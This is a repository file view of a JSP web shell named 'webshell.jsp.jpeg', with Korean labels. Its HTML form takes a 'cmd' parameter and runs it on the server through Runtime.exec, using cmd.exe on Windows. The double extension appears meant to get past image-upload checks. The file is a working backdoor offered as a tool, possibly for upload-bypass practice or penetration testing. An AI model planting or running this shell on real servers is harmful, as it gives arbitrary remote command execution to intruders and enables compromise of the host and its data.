-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathwebshell.jsp.jpeg
43 lines (37 loc) · 1 KB
/
webshell.jsp.jpeg
File metadata and controls
43 lines (37 loc) · 1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<%@ page import="java.util.*,java.io.*"%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
<form method="GET" name="cmdForm" action="">
<input type="text" name="cmd">
<input type="submit" value="전송">
</form>
<pre>
<%
if (request.getParameter("cmd") != null)
{
System.out.println("명령어 : " + request.getParameter("cmd") + "<br>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
else
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStreamReader in = new InputStreamReader(p.getInputStream(),"euc-kr");
BufferedReader br = new BufferedReader(in);
String disr = br.readLine();
while ( disr != null )
{
System.out.println(disr);
disr = br.readLine();
}
}
%>
</pre>
</body>
</html>